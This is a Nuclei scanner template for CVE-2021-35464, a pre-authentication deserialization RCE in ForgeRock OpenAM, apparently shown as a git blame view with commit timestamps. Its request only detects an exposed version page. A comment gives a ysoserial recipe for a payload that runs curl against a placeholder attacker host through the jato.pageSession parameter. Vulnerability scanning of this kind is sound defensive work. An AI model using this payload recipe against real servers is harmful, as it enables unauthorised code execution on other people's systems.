2021-06-29 12:32:33 +00:00
|
|
|
id: CVE-2021-35464
|
2021-06-29 11:56:37 +00:00
|
|
|
|
|
|
|
info:
|
2022-05-02 21:50:47 +00:00
|
|
|
name: ForgeRock OpenAM <7.0 - Remote Code Execution
|
2022-04-22 10:38:41 +00:00
|
|
|
author: madrobot
|
|
|
|
severity: critical
|
2021-08-29 06:45:32 +00:00
|
|
|
description: |
|
|
|
|
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
|
2021-08-29 09:14:12 +00:00
|
|
|
The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
|
|
|
|
/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
|
2022-05-02 21:50:47 +00:00
|
|
|
found in versions of Java 8 or earlier.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
|
2022-05-02 21:50:47 +00:00
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
|
2022-05-17 09:18:12 +00:00
|
|
|
- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
|
|
|
|
- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 9.8
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-35464
|
|
|
|
cwe-id: CWE-502
|
2023-04-12 10:55:48 +00:00
|
|
|
epss-score: 0.97391
|
2022-07-10 09:37:26 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 1
|
2022-07-10 09:37:26 +00:00
|
|
|
shodan-query: http.title:"OpenAM"
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: cve,cve2021,openam,rce,java,kev,cisa,packetstorm
|
2021-06-29 11:56:37 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-06-29 11:56:37 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
|
|
|
|
|
2021-06-29 21:31:13 +00:00
|
|
|
# '{{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>'
|
|
|
|
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
|
|
|
|
|
2021-06-29 11:56:37 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "Set-Cookie: JSESSIONID="
|
|
|
|
part: header
|
2021-06-29 21:31:13 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "Version Information -"
|
2021-08-13 10:52:36 +00:00
|
|
|
- "openam/ccversion/Masthead.jsp"
|
|
|
|
part: body
|
|
|
|
condition: or
|
2022-05-02 21:50:47 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/05/02
|